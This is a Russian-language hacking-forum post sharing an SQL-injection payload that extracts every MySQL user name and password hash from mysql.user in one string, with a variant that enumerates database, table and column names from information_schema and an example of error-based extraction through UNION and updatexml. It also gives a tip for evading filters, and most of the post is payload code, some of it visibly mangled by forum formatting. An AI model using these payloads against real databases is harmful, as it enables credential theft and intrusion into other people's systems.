Показать сообщение отдельно
Старый 23.03.2014, 11:43   #6
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Совместно с CoolMan разработали полноценный вектор, работающий без пререканий везде, где это возможно.
PHP код:
SELECT convert(max(binary reverse(insert(0x3A10reverse(concat(0x3Auser0x3Apassword0x0A))))), char(1000000)) FROM mysql.user// При фильтрации CHAR используйте BINARY 
Для выборки значения решено использовать агрегатную функцию max(), выводящую наибольший аргумент. Можно было взять и переменные:
PHP код:
SELECT FROM (SELECT @:=insert(0x3A10concat(0x3Auser0x3Apassword0x0A)) FROM mysql.user)a LIMIT 1
Однако, тогда вектор не получится использовать в updatexml/extractvalue и эстетика теряется.

reverse() - Функция разворота строки. Требуется не только для того, чтобы получить записи в правильном порядке, но и для правильного сравнения. Пример:
Код:
SELECT '::a' < ':a'; // TRUE, символы сравниваются по порядку, длина строки значения не имеет значения
Второй reverse разворачивает записи для читабельного вида, можно обойтись и без него.

BINARY - Cast a string to a binary string. For example:
PHP код:
SELECT ":a" ":a\nE"// FALSE
SELECT binary ":a" binary ":a\nE"// TRUE 
Главная магия — convert. Варианты из статьи проблематично использовать в подзапросах, в UNION - вылезают ограничения. Здесь они не обнаружены. Пример использования:
PHP код:
SELECT 1 UNION SELECT updatexml(1quote(quote(mid((X), 132))), 1);

SELECT convert(max(binary reverse(insert(0x3A10reverse(concat(TABLE_SCHEMA0x3ATABLE_NAME0x3A,  COLUMN_NAME0x0A))))), char(1000000)) FROM information_schema.columns WHERE TABLE_SCHEMA !=0x696e666f726d6174696f6e5f736368656d61 
NameSpace вне форума   Ответить с цитированием